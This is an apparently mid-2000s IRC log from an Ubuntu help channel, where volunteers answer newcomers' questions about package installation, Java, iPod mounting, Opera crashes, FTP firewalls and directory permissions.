[03:38] <Slavick> roger that.
[03:38] <Raul654> doh - trition, you are right about that
[03:38] <Raul654> however, I have the same issue with other programs
[03:38] <dg2_bluesky> no I have n't not yet
[03:39] <dg2_bluesky> is ubuntu a hard dual boot install?
[03:39] <orangey> frank23: oops..
[03:39] <IdleOne> !tell dg2_bluesky  about dualboot
[03:39] <frank23> orangey: if you do lsmod | grep via  which modules cause others to be loaded
 It was easy for me: grub detected my windows and all went well.
[03:40] <dg2_bluesky> thanks idle, I just don't want to have that mouse problem
[03:41] <dg2_bluesky> pww did you have a mouse issue
 Trickiest part was getting the partitioning right, and qtparted did that nicely.
[03:41] <smig> hi any/all. if I have ubuntu _and_ kubuntu desktops installed, how do I stop kubuntu splash screens from overriding ubuntu ones?? thnx
Nope, detected my el-cheapo logitech USB like a charm
[03:41] <Raul654> tritium - I built mpg123 and got the same error for exit
[03:41] <Raul654> audio.c:247: warning: incompatible implicit declaration of built-in function exit
[03:41] <nickrud> !usplashchange
[03:41] <ubotu> To change the usplash image shown at boot, use "sudo update-alternatives --config usplash-artwork.so", choose the one that you want, and then do "sudo dpkg-reconfigure linux-image-`uname -r`".
[03:41] <Raul654> Shouldn't the compiler include stdio.h and unistd.h by default?
[03:41] <nickrud> smig: see ubotu just above
[03:42] <Raul654> (it does on almost any other *nix system I've used)
[03:42] <boz> dg2_bluesky:  i read up on it a bit in the forums before i attempted it all went well also
[03:42] <pww> raul654 No, the compiler cannot tell what you want to do... ...if you are writing a device driver, you may not want those!
[03:42] <smig> cool. thnx.
[03:42] <tritium> Raul654: no
[03:42] <Raul654> ok, then how come mpg123 is giving me this error?
[03:42] <dg2_bluesky> thanks box
[03:42] <Slavick> !tell Slavik get_a_brain
[03:42] <dg2_bluesky> boz
[03:42] <Raul654> telling me exit is implicitely defined
[03:42] <Artimus> How do I disable this adept thing from updating automatically?
[03:42] <tritium> Raul654: because you need to include the header file.  Why are you building it, by the way?
[03:43] <Raul654> tritium - because I couldn't apt-get it
[03:43] <tritium> !info mpg123
[03:43] <ubotu> mpg123: (MPEG layer 1/2/3 audio player), section multiverse/sound, is optional. Version: 0.59r-19 (breezy), Packaged size: 85 kB, Installed size: 256 kB
[03:43] <tritium> Raul654: ^^^
[03:43] <Raul654> mark@Akki:~$ sudo apt-get install mpg123
[03:43] <Raul654> Reading package lists... Done
[03:43] <Raul654> Building dependency tree... Done
[03:43] <Raul654> Package mpg123 is not available, but is referred to by another package.
[03:43] <boz> the tricky part for me was making part of my ubuntu free space a partition marked as Home, so hopefully if i have to do a reinstall, i won't lose any personal information
[03:43] <tritium> Raul654: don't paste, please.
[03:43] <Raul654> sorry
[03:44] <Sionide> what other decent same-idea apps are there instead of Audacity?
[03:44] <tritium> !tell Raul654 about repositories
[03:44] <pww> My n00b Q: When sending keys to launchpad, do I need to specify a server (if so, what?) or is the default GPG target server OK?
[03:44] <crimsun> !info mpg123-oss-i486
[03:44] <ubotu> mpg123-oss-i486: (MPEG layer 1/2/3 audio player for i486 machines), section multiverse/sound, is optional. Version: 0.59r-19 (breezy), Packaged size: 90 kB, Installed size: 268 kB
[03:44] <nazgulwalker> where can i download java sdk (compiler) for ubuntu amd64
[03:44] <nickrud> Artimus: /etc/cron.daily/apt , edit that
[03:44] <jadaz87> !java
[03:44] <ubotu> To install Java/Sun Java see Java on https://wiki.ubuntu.com/RestrictedFormats and also see !javadebs
[03:45] <jadaz87> !javadebs
[03:45] <tritium> Raul654: set yourself up with the multiverse repo, then you should be fine.
[03:45] <boz> nazgulwalker: or use automatix ; )
[03:45] <silvaran> How do I get dpkg to skip the preuninst/postuninst scripts?
[03:45] <jadaz87> !tell nazgulwalker about javadebs
[03:45] <nickrud> Artimus: um after reading, create /etc/apt/apt.conf, and add the line APT::Periodic::Update-Package-Lists=0
[03:45] <nalioth> Raul654: please don't paste in here, use a pastebin (wiki.ubuntu.com/IrcRules)
[03:47] <zzz> join #ubuntu-fr
[03:47] <nazgulwalker> i need the compiler "javac" .
[03:47] <FunnyLookinHat> nazgulwalker, try searching synaptic for javac
[03:47] <nazgulwalker> boz : what is automatix
[03:47] <nalioth> !automatix
[03:47] <ubotu> well, automatix is unsafe, it overwrites configuration files, and does things like "echo -e 'ynYn'" that are considered risky. Please do not use it. There are alternative applications, but it's often best to read the documentation.
[03:47] <Cyorxamp> Hey folks - is there a dapper ubuntu channels?
[03:47] <boz> thanks nailoth
[03:47] <silvaran> Cyorxamp: #ubuntu+1
[03:47] <nickrud> Artimus: additonally add the APT::Periodic::Download-Upgradeable-Packages=0
[03:48] <nazgulwalker> synaptic could'nt find javac
[03:48] <tristanmike> !tell Cyorxamp about dapper
[03:48] <Cyorxamp> tristanmike, I think on reply will do thank you
[03:48] <FunnyLookinHat> nazgulwalker, sudo apt-get install javacc is what you wanna do i think
[03:48] <GURT> how can i capture a video frame with wxvlc ?
[03:48] <boz> nailoth:  is that ubotu info old?  It looked to me like they done some work on it the last time i used it?
[03:48] <mikeazorin> unable to parse package file /var/lib/dpkg/status (1); the package lists or status file could not be parsed or opened.
[03:48] <_Jsm>  any one require any of my noob help?
[03:49] <nickrud> boz: what it comes down to is that no one here is willing to support what automatix does.
[03:49] <boz> ahhhh
[03:50] <nazgulwalker> FunnyLookinHat it says "not avaible"
[03:50] <_Jsm> www.freenode.net
[03:50] <_Jsm> soz;)
[03:50] <mikeazorin> my dpkg is broken again. parse error in /var/lib/dpkg/status near line 206 package acpi-support
[03:50] <nickrud> boz: the writers of automatix should provide their own support channel
[03:50] <boz> lol, true
[03:51] <FunnyLookinHat> nazgulwalker, then you need to enable universe and multiverse repos..
[03:51] <criminy> has anyone gotten an ipod to work in ubuntu?
[03:51] <FunnyLookinHat> ubotu, tell nazgulwalker about easysource
[03:51] <tristanmike> !tell criminy about ipod
[03:51] <criminy> it's a 5G..I get: sd 4:0:0:0: rejecting I/O to offline device
[03:52] <jadaz87> criminy they have a ipod pkg for ubuntu let me find out the name of it
[03:52] <nalioth> boz: nalioth.hostdestoyer.com/comparison.html
[03:52] <YukiCuss> criminy, gtkpod
[03:52] <revolutionary> hello
[03:52] <mikeazorin> sh**! i broke my inodes again! how the heck could this happeN??
[03:52] <YukiCuss> criminy, mine works fine. :)
[03:52] <criminy> I don't even get that far
[03:52] <criminy> I can't mount my ipod
[03:52] <YukiCuss> USB?
[03:52] <YukiCuss> or firewire? (criminy?)
[03:53] <jadaz87> yeah go to add application and search for gtkpod as yukicuss said
[03:53] <YukiCuss> Or just sudo apt-get install gtkpod
[03:53] <jadaz87> hello revolutionary
[03:53] <criminy> I've got a  line called ieee1394 in my /proc/devices but I had no idea I had firewire (if I have it)
[03:54] <criminy> end_request: I/O error, dev sda, sector 58604938
[03:54] <criminy> I'm getting lines like that in dmesg
[03:54] <tristanmike> criminy, is the cord a "usb" cord, or something different, with a smaller end ?
[03:54] <revolutionary> im so sick of iptables and ftp
[03:55] <criminy> it is a USB cord
[03:55] <revolutionary> anyone know the proper way to allow wget ftp client thru the firewall?
[03:55] <criminy> huh. I just assumed it came with firewire. But it is USB
[03:55] <jadaz87> revolutionary open ports 20-21
[03:56] <revolutionary> i did
[03:56] <boz> nailoth:  lol page said you haven't paid your bill.
[03:56] <jadaz87> revolutionary those are the default ports for ftp
[03:56] <YukiCuss> revolutionary, export ftp_proxy=http://123.123.123.123:1234/
[03:56] <boz> lol jk dead link
[03:56] <petaruwaru> Can anyone help me fix my Opera Browser? I installed it, and it worked fine for awile, but now I click on the icon and nothing happens
[03:56] <Cyorxamp> Lo folks, will dapper have a tool for managing your video cards (even multiple) and monitors/screens (even multiples) ???
[03:56] <Cyorxamp> I am speaking in general here - many pc's some have dual head gphx cards, others have 2 gphfx cards... some pc's use 3 minotrs, others 2, others 1
[03:56] <Cyorxamp> and well windows can handle all this no problems - wondering if theres anything in the pipeline
[03:56] <Cyorxamp> dpkg-reconfigure xserver-xorg just doesnt cut it
[03:56] <revolutionary> YukiCuss, ?
[03:56] <criminy> I've got /dev/sda, /dev/sda1, and /dev/sda2; but mounting them gives me problems
[03:56] <YukiCuss> revolutionary, if you have an ftp proxy, you might consider it.
[03:56] <jadaz87> cyorxamp you should ask that question in #ubuntu+1
[03:57] <Cyorxamp> jadaz87, they are all dead
[03:57] <revolutionary> would sysctl options block ftp?
[03:57] <YukiCuss> unlikely.
[03:57] <nazgulwalker> i installed javacc but it is different form javac as i used to ?
[03:57] <nazgulwalker> i installed javacc but it is different from javac as i used to ?
[03:57] <htrp> is console = terminal ?
[03:57] <revolutionary> could you take a look at this script and help me find whats keeping it from working?
[03:58] <marky> i made it
[03:58] <kfirb> htrp: as far as I know, yes
[03:58] <mikeazorin> why have my inodes broken twice in 5 hours?
[03:58] <revolutionary> ?
[03:58] <petaruwaru> Can somone help me get a program working? It was working up until today, now it wont run
[03:58] <mikeazorin> tell me?
[03:58] <jadaz87> hmmm i should try and install xampp on ubuntu
[03:59] <marky> _jason
[03:59] <revolutionary> la la la la......... ;)
[03:59] <criminy> anybody?
[03:59] <petaruwaru> anybody lend a n00b a hand?
[03:59] <mikeazorin> criminy: what problems
[03:59] <kfirb> which tiny torrent client which is better than the gnome's basic one is recommended for ubuntu?
[03:59] <criminy> mount /dev/sda2 /mnt/ipod/ takes a long time then it stops with "You must specify the filesystem type"
[03:59] <criminy> but even when I do that I get other erros
[03:59] <criminy> and dmesg tells me sd 4:0:0:0: rejecting I/O to offline device
[03:59] <jadaz87> kfirb microtorrent
[04:00] <mikeazorin> does /mnt/ipod exist?
[04:00] <kfirb> jadaz87: can I use apt-get for it?
[04:00] <criminy> Yes
[04:00] <petaruwaru> anyone help a n00b get a program working?
[04:00] <jadaz87> i do not know actually
[04:00] <mikeazorin> what filesystem is it? fat32?
[04:00] <criminy> Yes
[04:00] <criminy> I've tried it in windows
[04:00] <rnd_null> i just installed ubuntu and root has a password set to it already....how do i fix that?
[04:00] <criminy> and in the ipod it says "windows version"
[04:00] <marky> rnd_null imposible
[04:00] <truz24> rnd_null, sudo passwd root
[04:01] <rnd_null> no way
[04:01] <rnd_null> ok
[04:01] <marky> i just reinstalled you have to set it
[04:01] <jadaz87> rnd_null the root password is the password of the initial account that you made
[04:01] <silvaran> ubotu: tell rnd_null about root
[04:01] <revolutionary> does ftp need icmp allowed?
[04:01] <jadaz87> kfirb if not you will have to download it
[04:01] <silvaran> rnd_null: there is no root password... "sudo" wants your user password.  without a root password you can't su, or log in directly as root.
[04:01] <rnd_null> ok
[04:01] <rnd_null> thank you
[04:01] <criminy> no idea?
[04:02] <oblib> anyone know when USB is activated in the boot process? I want to make sure to load a module before USB loads
[04:02] <mikeazorin> criminy: sudo mount /dev/sda2 /mnt/ipod -t fat32 -o nls=utf8,umask=0222
[04:02] <marky> can someome gimmie i link to those codecs with the string, so i can play wmvs,
[04:02] <petaruwaru> can somebody give me some help? My Opera web browser stopped working recently, it won't start.
[04:03] <criminy> no dice
[04:03] <Iceman> fudge, why cant there be a full linux distro that supports fat32 for a install filesystem .. used to be a couple
[04:03] <criminy> is it mount: /dev/sda2 is not a valid block device
[04:03] <marky> ubotu tell marky about win32
[04:03] <petaruwaru> can somone tell me how to fix it, or even how to just delete it so I can reinstall it?
[04:03] <criminy> sd 7:0:0:0: rejecting I/O to offline device
[04:03] <criminy> I get more of those lines in dmesg
[04:03] <marky> brb
[04:04] <oblib> petaruwaru, did you install it with synaptic?
[04:04] <mikeazorin> criminy: what does your ipod say? okay to disconnect?
[04:04] <criminy> "Do not disconnect"
[04:04] <mikeazorin> hmmm...
[04:04] <nazgulwalker> i have installed "j2eesdk-1_4_03-linux.bin" from java.sun.com but i couldn't installed it ; is it because i use ubuntu AMD64?
[04:04] <mikeazorin> not sure
[04:04] <petaruwaru> oblib, no, from the package on the website
[04:05] <oblib> petaruwaru, opera
[04:05] <criminy> sd 7:0:0:0: SCSI error: return code = 0x50000
[04:05] <criminy> end_request: I/O error, dev sda, sector 58604938
[04:05] <oblib> opera's site?
[04:05] <criminy> I get that earlier too
[04:05] <petaruwaru> yes
[04:05] <oblib> petaruwaru, does it have you run an install script, or do you compile it?
[04:06] <oblib> I haven't used it myself
[04:06] <criminy> I'm running out of ideas =
[04:06] <criminy> =\
[04:06] <laurin> hi, i try to add winxp to grub but whatever i do i doesn't work :(
[04:06] <petaruwaru> oblib, it's already installed, I ran dpkg, if that tells you anything
[04:06] <oblib> but you watned to uninstall it
[04:06] <petaruwaru> oblib I'm not entirely familier with all the linux terminology yet
[04:06] <oblib> petaruwaru, oh, it's a dpkg package
[04:06] <petaruwaru> oblib, no I just want to get it working again, it stopped working
[04:06] <transgress> okay anyone here yet that might know why i can't get gnome to start?  it hangs at the splash screen... i was having problems with nautilus and moved the .nautilus and it wouldn't start
[04:06] <oblib> .deb
[04:06] <danny-khi> how to pronunce ubuntu?
[04:06] <transgress> i moved .nautilus back and it still hangs...
[04:07] <transgress> uh buhn two
[04:07] <transgress> err i think it's ew buhn two
[04:07] <oblib> petaruwaru, what does it say if you try to run it from a command prompt
[04:07] <rnd_null> how do fix this...it's telling me, while trying to install Nvidia drivers, that it needs an 'ld' command, so, where is 'ld' or how do i set it to my path? (this is day #1 of running linux.....ever)
[04:07] <danny-khi> youhh buntu?
[04:07] <Francisco> some body can help me? tell me pls how can remove kde and kde desktop by a command like lib...
[04:07] <danny-khi> or ooooh buntu?
[04:07] <laurin> rnd_null: sudo apt-get install build-essentials
[04:08] <petaruwaru> oblib, I feel like a huge n00b for asking this, but... how do you run it from the command prompt?
[04:08] <laurin> that should do it
[04:08] <chaoticgeek> hello all
[04:08] <rnd_null> thank you
[04:08] <danny-khi> ou buntu?
[04:08] <chaoticgeek> I kinda like drapper drake
[04:08] <petaruwaru> oblib, just "run opera"?
[04:08] <oblib> Applications -> accessories -> terminal. Then I would guess just type opera
[04:08] <oblib> try ope then 'tab'
[04:08] <danny-khi> Please help me because I am writing a post about it on my blog and I need to know how to pronounce it so that i could write it in urdu
[04:08] <oblib> it should auto complete
[04:08] <petaruwaru> oblib, I know how to get to terminal, just not how to use half of it >.<
[04:09] <crouchingMonkey> anyone here good with wine that wants to give me a hand ?
[04:09] <oblib> petaruwaru, then try 'opera' then enter
[04:09] <oblib> minus quotes of course
[04:09] <jadaz87> !tell crouchingmonkey about wine
[04:09] <rnd_null> lauren, it says it cant find the package
[04:09] <petaruwaru> oblib, alright, it just gave me an error
[04:09] <mikeazorin> crouchingmonkey: what is your problem
[04:09] <danny-khi> !tell danny-khi about ubuntu
[04:09] <oblib> petaruwaru, a long one?
[04:09] <petaruwaru> oblib, ERROR: ld.so: object 'libjvm.so' from LD_PRELOAD cannot be preloaded: ignored.
[04:09] <petaruwaru> ERROR: ld.so: object 'libawt.so' from LD_PRELOAD cannot be preloaded: ignored.
[04:09] <petaruwaru> Segmentation fault
[04:09] <marky> man , i forgot my password, is there a way of reseting it?
[04:10] <crouchingMonkey> mikeazorin, im getting an error when i run an .exe file with wine
[04:10] <petaruwaru> oblib, yea, just a bit
[04:10] <oblib> petaruwaru, and it used to work?
[04:10] <rnd_null> laurin, it says it couldn't find the package
[04:10] <_jason> marky: you can reset it
[04:10] <mikeazorin> you are running it from terminal, right?
[04:10] <petaruwaru> oblib, yes
[04:10] <laurin> rnd_null: wait a mom
[04:10] <petaruwaru> oblib, although, it used to give me a weird error message whenever I ran it
[04:10] <oblib> petaruwaru, looks like you hosed something on accident, any idea what you have been doing that would mess things up?
[04:10] <marky> _jason how do i do that?
[04:10] <mikeazorin> crouchingmonkey: cd to the folder the exe is in, and type wine [app] .exe
[04:11] <crouchingMonkey> here take a look at ti mikeazorin, http://paste.ubuntu-nl.org/10316
[04:11] <_jason> marky: reboot in 'recovery mode' and run 'passwd your_username'
[04:11] <crouchingMonkey> it*
[04:11] <laurin> rnd_null: sudo atp-get install build-essential
[04:11] <bimberi> danny-khi: http://www.ubuntu.com/support/faq
[04:11] <marky> _jason nah, my nickserv password
[04:11] <pww> Never mind, think I got it: pgp.mit.edu or keyserver.ubuntu.com....
[04:11] <petaruwaru> oblib, nothing I can think of, the only thing that I've done since then is mess with my gnome theme and try to find a package to make quicktime files play in firefox
[04:11] <mikeazorin> crouchingmonkey: there are other usenet services designed for linux
[04:11] <laurin> rnd_null: apt-get sry ^^
[04:12] <oblib> petaruwaru, have you installed java?
[04:12] <laurin> it's just a little bit late ^^
[04:12] <_jason> marky: oh, I believe there is some way to do it if you set up an email for the account.  You may want to ask in #freenode
[04:12] <petaruwaru> oblib, don't think so
[04:12] <oblib> petaruwaru, "find a package to make quicktime files play in firefox" could maybe mess things up
[04:12] <crouchingMonkey> mikeazorin, i know im just doing this for fun, i wanna learn more about using wine :)
[04:12] <rnd_null> laurin, thank you, it's installing now
[04:12] <oblib> petaruwaru, both of those .so files are related to java
[04:12] <petaruwaru> oblib, how so? I just used synaptic
[04:12] <rnd_null> laurin, will this put itin the path too?
[04:12] <marky> _jason , now i remebr before you asked ubotu to tell me about wmvs can you do it again so i can get the codecs?
[04:12] <mikeazorin> crouchingmonkey: well, when it says something's not implemented it usually means there's not much hope :-/
[04:13] <_jason> ubotu: tell marky about w32codecs
[04:13] <laurin> rnd_null: yes i think so
[04:13] <_jason> marky: and for totem to use them you need to install totem-xine by the way
[04:13] <rnd_null> laurin, ok, thank you :)
[04:13] <petaruwaru> oblib, k, so what should I do, try installing java to get those two files?
[04:13] <Montecristo> hi
[04:13] <oblib> petaruwaru, https://wiki.ubuntu.com/RestrictedFormats?action=show&redirect=Java
[04:13] <crouchingMonkey> thx mikeazorin :) good thing to remember
[04:13] <rnd_null> sudo -i
[04:13] <jadaz87> hello montecristo
[04:13] <rnd_null> oops
[04:13] <oblib> petaruwaru, that has intructions to install java
[04:14] <criminy> if anyone has an idea PM me
[04:14] <oblib> if you still have problems
[04:14] <marky> _jason now this is a clean install i was gonna get the codecs then get mplayer
[04:14] <mikeazorin> crouchingmonkey: although, there are often ways to configure the application to bypass the functions that are not implemtned
[04:14] <Montecristo> it's mi first time here
[04:14] <oblib> petaruwaru, maybe try reinstalling first
[04:14] <oblib> petaruwaru, are you tehre?
[04:14] <oblib> there?
[04:14] <Montecristo> and i'm totally new in linux
[04:14] <mikeazorin> crouchingmonkey: if there is a config file, it's possible that there is a way to leave that part out
[04:14] <_jason> Montecristo: welcome
[04:14] <laurin> ok, now my problem: i added winows to the menu.lst but grub simply hangs
[04:14] <crouchingMonkey> Has anyone here managed to run Guild Wars in Wine? becaues i got it to work with cedega
[04:14] <petaruwaru> oblib, yea
[04:14] <Montecristo> i have two questions
[04:14] <Madpilot> Montecristo, welcome - but please don't use your ENTER key as punctuation, thanks :P
[04:15] <Francisco> some body can help me? tell me pls how can remove kde and kde desktop by a command like lib...
[04:15] <Francisco> some body can help me? tell me pls how can remove kde and kde desktop by a command like lib...
[04:15] <petaruwaru> oblib, try reinstalling opera you mean?
[04:15] <oblib> petaruwaru, yeah
[04:15] <_jason> Francisco: sudo aptitude remove libqt3-mt
[04:15] <oblib> petaruwaru, how did you install it? did you get a .deb file?
[04:15] <petaruwaru> oblib, yes
[04:15] <Francisco> _jason, taks
[04:16] <Montecristo> 1.- any one how speak spanish? 2.- where i can find a codec "x264" of video?
[04:16] <Madpilot> !es
[04:16] <ubotu> Hispanohablantes: Por favor usen #ubuntu-es, #kubuntu-es o #edubuntu-es, alli obtendran mas ayuda.
[04:16] <mikeazorin> crouchingmonkey: appdb.winehq.org has a good library of what generally runs and what generally doesn't
[04:16] <Montecristo> thanks
[04:16] <oblib> petaruwaru, then from the command prompt you should be able to remove it with 'sudo dpkg -P name-of-package"
[04:16] <crouchingMonkey> cool
[04:16] <oblib> petaruwaru, the name of t he package is probably just opera
[04:17] <petaruwaru> oblib, kk
[04:17] <Madpilot> petaruwaru, are you trying to install Opera?
[04:17] <petaruwaru> madpilot, reinstalling it, it stopped working
[04:18] <kfirb> micotorrent is currently only for win, any other reccomendations for a bittorent client for ubuntu ?
[04:18] <OmegaAlpha> Montecristo, cheers on the name.. i love that story and the movie is kickass
[04:18] <oblib> feelf ree to take over Madpilot
[04:18] <oblib> I don't know what I'm talking about
[04:18] <Madpilot> petaruwaru, you've seen the Opera wiki page?
[04:18] <mikeazorin> kfirb: microtorrent runs great through wine
[04:18] <_jason> OmegaAlpha: maybe he likes the sandwich :)
[04:18] <petaruwaru> madpilot, yes, I used it to install it the first time
[04:18] <mikeazorin> kfirb: otherwise you can use what's built in, but it has no features
[04:18] <OmegaAlpha> _jason, lol that would be funny if thatwere the case
[04:19] <kfirb> mikeazorin: isn't it a bit too heavy to run things through wine?
[04:19] <Madpilot> petaruwaru, what broke?
[04:19] <rnd_null> is there an easy walkthrough somewhere for installing video drivers?
[04:20] <Madpilot> brb
[04:20] <petaruwaru> madpilot, it just stopped working
[04:20] <mikeazorin> kfirb: heavy? wine is virtualization, it has little effect on ram consumption. besides, microtorrent is damn tiny, so you'll be fine
[04:20] <_jason> rnd_null: what card?
[04:20] <OmegaAlpha> any astronomy geeks like me in here? im looking for a good satellite tracking software.. i got a couple but they are a bit confusing..
[04:20] <rnd_null> _jason, Nvidia
[04:20] <_jason> ubotu: tell rnd_null about nvidia
[04:20] <zembee> How do I get the /dev/usb serial devices?
[04:20] <petaruwaru> oblib, just reinstalled, still not working
[04:21] <rnd_null> _jason, thx
[04:21] <oblib> petaruwaru, you removed it and then installed it again?
[04:21] <oblib> petaruwaru, no errors?
[04:21] <kfirb> mikeazorin: it always seemed strange to me trying to run win software on linux.. I guess I'll give it a shot.. how do I install win applications over wine?
[04:21] <leogibson> hey im using gnome, how can i adjust the scale of my toolbars and menus, like with <ctrl> -,+ <scroll> in IE ?
[04:21] <petaruwaru> oblib, yes
[04:21] <LeeJunFan> I'm trying to netboot and failing at the nfs root dir. using syslinux/pxelinux I get the kernel and initrd fine but can't mount / - anyone else successful with this?
[04:21] <mikeazorin> kfirb: utorrent does not require installation. it's just a single .exe file.
[04:22] <mikeazorin> kfirb: do you have wine installed already?
[04:22] <leogibson> i know theres a program...
[04:22] <kfirb> mikeazorin: oh, wonderful... thanks... and installing wine I guess is detailed in the wiki support..
[04:22] <oblib> petaruwaru, then my only other recommendation besides installing java is to uninstall it again, and then install it with apt-get as explained in the wiki
[04:22] <petaruwaru> oblib, I tried to install Blackdown Java from apt-get and it won't work
[04:22] <_Jsm> can some one do me a quick favour if their not busy join #soldner-vb and see if it asks for a pw
[04:22] <oblib> petaruwaru, I don't konw what that it
[04:22] <oblib> is
[04:23] <OmegaAlpha> ok i know i mentioned this before like a hundred times.. but when you install something via terminal.. and the software doesnt put icons in the applications menu.. how do you get it so it does? i know of aptitude but that is kinda confusing to my linux virgin eyes when looking at "installed packages"
[04:23] <petaruwaru> oblib, thats the java version it has in the wiki, besides sun
[04:23] <oblib> petaruwaru, the java you need is not listed because it's proprietary (unrestricted)
[04:23] <oblib> sun is the one you want I think
[04:23] <techrush> sun needs to open source java already
[04:23] <pww> kfirb If you want to run Windows apps, it may be worth spending the $ to get cxoffice from CodeWeavers...
[04:23] <Falstius> OmegaAlpha, you can right click on the application bar and run "edit menu"
[04:23] <Cyorxamp> Lo folks, I am running Ubuntu and I could do with assistance in getting some extra monitors to work.  On the 1st PC I have a i810 compat onboard vga and a rivatnt card (pci) which I need both working - so far just i180.  On 2nd PC I have a savage (dual head) compat card (pci) and a ati (v.basic) agp card... just got the ati working on that not the other 2 heads on the savage.  ANY help would be great!
[04:23] <_jason> OmegaAlpha: things only get shortcuts if the package has them.  You can use system tools > applications menu editor to create them for packages that don't have them
[04:24] <petaruwaru> oblib, damnit the installation instructions are a bitch though >.<
[04:24] <pww> kfirb ...it's wine with a really friendly face. That's what I did, since I still rely on some win apps for my work...
[04:24] <oblib> petaruwaru, yeah, they're pretty good
[04:24] <pww> kfirb ...but hopefully not for much longer.
[04:24] <transgress> okay i needs teh help
[04:24] <Falstius> Cyorxamp: you probably need to hand edit the xorg.conf file and include a seperate section for each monitor and videocard.  xGoogle for xinerama.
[04:24] <transgress> please... for the love of god... someone give me some suggestions...
[04:24] <OmegaAlpha> Falstius, _jason thanks! im still learning the features of ubuntu and what they do.. SO MANY so dont mind me with the dumb questions.. its most likely i havent got around to exploring evreythign yet
[04:24] <Madpilot> petaruwaru, try renaming your .opera folder, that'll set all of Opera's stuff back to default, then reinstall
[04:25] <kfirb> pww: I just wanted a tiny bittorrent client, that will work..
[04:25] <_jason> OmegaAlpha: the only dumb question is the one not asked :)
[04:25] <oblib> petaruwaru, when you say you tried blakcdown java and it doesn't work does that mean opera doesn't work or blackdown?
[04:25] <_jason> transgress: create a new user
[04:25] <transgress> was having trouble with nautilus... kicked gnome, moved the .nautilus file... then it wouldn't start ... it'd just hang at the splash screen... i moved the file back... same problem
[04:25] <pww> kfirb Oh, no native bittorrent clients that meet your needs under Ubuntu? Seems built in to me
[04:25] <OmegaAlpha> _jason, my 10th grade algebra teacher used to live by that motto. she had posters of it everywher ein the room
[04:26] <leogibson> anyone know how i can adjust the size of my toolbars and menus in ubuntu gnome?
[04:26] <petaruwaru> oblib, blackdown java
[04:26] <oblib> petaruwaru, to rename like Madpilot says, 'mv .opera .opera_old'
[04:26] <petaruwaru> oblib, gives me an error when I tryed to apt-get it
[04:26] <oblib> petaruwaru, so it wouldn't install?
[04:26] <OmegaAlpha> _jason, so very true though.. ok then on that note.. dont mind my questions that i didnt ask :)
[04:26] <petaruwaru> oblib, yea
[04:26] <_jason> OmegaAlpha: will do
[04:26] <oblib> petaruwaru, dependency?
[04:26] <nalioth> ubotu: tell petaruwaru about javadebs
[04:26] <Madpilot> petaruwaru, you can't apt-get either Opera or Sun Java
[04:26] <nalioth> ubotu: tell oblib about javadebs
[04:26] <Madpilot> petaruwaru, not by default, anyway
[04:26] <pww> kfirb If you just want such an app, probably not worth spending $ for cxoffice (only makes sense to continue getting value out of win apps you paid for before)
[04:26] <transgress> _jason: same problem with the new user... that's really odd
[04:27] <kfirb> pww: I just look for a simple one that will do the job, got several recomendation for mcrotorrent
[04:27] <_jason> transgress: did gnome ever work?
[04:27] <oblib> anyone know when USB is activated in the boot process? I want to make sure to load a module before USB loads
[04:27] <kfirb> pww: as far as I know, the microtorrent is a freeware
[04:27] <transgress> _jason: was working a few minutes ago.  i've had ubuntu on this box since the day hoary came out
[04:27] <transgress> i'ma reboot
[04:27] <transgress> brb
[04:27] <oblib> petaruwaru, try renaming your .opera file and see if that fixes it
[04:27] <leogibson> xfce4?
[04:28] <petaruwaru> oblib, trying to find it now
[04:28] <oblib> from the command prompt
[04:28] <Phuzion> What would I have to CHMOD a directory to in order for apache2 to be able to write to it?
[04:28] <_jason> transgress: well I've heard of that problem being cause because of video driver problems.  Try using VESA as the video driver to see if that's the cause
[04:28] <oblib> 'cd ~'  and then  'mv .opera .opera_old'
[04:28] <oblib> nalioth, can you help me with the USB question?
[04:29] <pww> kfirb You need it to run under win or lin? Under lin, bittorrent is part of main, in networking section...
[04:29] <Falstius> Phuzion: you could do a chown to www-data:www-data (or whatever user you set in your config file)
[04:29] <pww> kfirb ...works automagically for me when I open a *.torrent file
[04:29] <Phuzion> Falstius:  I need a user named greed to be able to write to it as well...
[04:30] <Madpilot> petaruwaru, to get Nautilus to show hidden files, hit Ctrl+H
[04:30] <Phuzion> Is there such a thing as split ownership or something?
[04:30] <petaruwaru> k
[04:30] <Falstius> Phuzion, you Could do "sudo chmod a+w" ... but that isn't so great for security.
[04:30] <Phuzion> a+w?
[04:30] <Falstius> Phuzion: "all add write"
[04:30] <oblib> Anyone?
[04:30] <oblib> anyone know when USB is activated in the boot process? I want to make sure to load a module before USB loads
[04:30] <Phuzion> Ouch
[04:30] <marky> _jason can you tell me that think about replacing totem in firefox again please?
[04:30] <leogibson> id hate to try and hijack any further, but can anyone suggest an app that doesent reside in the system menu default that can change the size of my GUI windows and menus??
[04:30] <_jason> ubotu: tell marky about replacetotem
[04:31] <Falstius> Phuzion: just don't put anything in there you don't want somebody deleting :)
[04:31] <leogibson> im scraping the forums for this
[04:31] <Francisco> can you help me? how can I actualizar! my pc with aptitude.??
[04:31] <NeverDream> ubotu: tell me about replacetotem
[04:31] <marky> _jason thanks
[04:31] <Truckdriver> N E 1 know info 4 d/l upgrade from ubuntu 5.1 Fx 1.07 to Fx 1.7
[04:31] <fuz> could anybody please give me a hand with an ATI Xgl issue?  #ubuntu-xgl is totally idle and the wiki solutions just aren't panning out...
[04:32] <_jason> Truckdriver: 1.7?
[04:32] <mian1ak> what file is used first when booting?
[04:32] <Truckdriver> Fire fox 1.7 yes from 1.0.7
[04:33] <_jason> Truckdriver: is 1.7 even in development?  do you mean 1.5?
[04:33] <petaruwaru> oblib, alright, I can't rename it, the option is unselectable. It's cause I'm not in root right?
[04:33] <Phuzion> Is there a way to list all groups on my server?
[04:33] <petaruwaru> oblib, or not running sudo
[04:33] <Truckdriver> U R right 1.5
[04:33] <_jason> ubotu: tell Truckdriver about ff1.5
[04:33] <oblib> petaruwaru, hmm it shouldn't be
[04:33] <oblib> petaruwaru, did you try from a command line?
[04:33] <transgress> fixed it
[04:33] <mr_polite> ive got a pentium machine with 32mb of ram,. the ubuntu install errors out loading the libraries for the NIC. any tips?
[04:34] <V4Vendetta> !ff1.5
[04:34] <ubotu> You can use firefox 1.5 by following this wiki page https://wiki.ubuntu.com/FirefoxNewVersion
[04:34] <petaruwaru> oblib, no
[04:34] <oblib> petaruwaru, type 'ls -l opera' from the command line and tell me the permissions
[04:34] !lilo:*! Modified: http://freenode.net/policy.shtml#behaviorandcloaks .... clarified freenode policy on the retention of unaffiliated cloaks in connection with behavioral issues
[04:34] <Titan> join #warcraft
[04:34] <oblib> they look like -rw-r--r--
[04:34] <Titan> >.<
[04:34] <petaruwaru> oblib ...it says "no such file or directory"
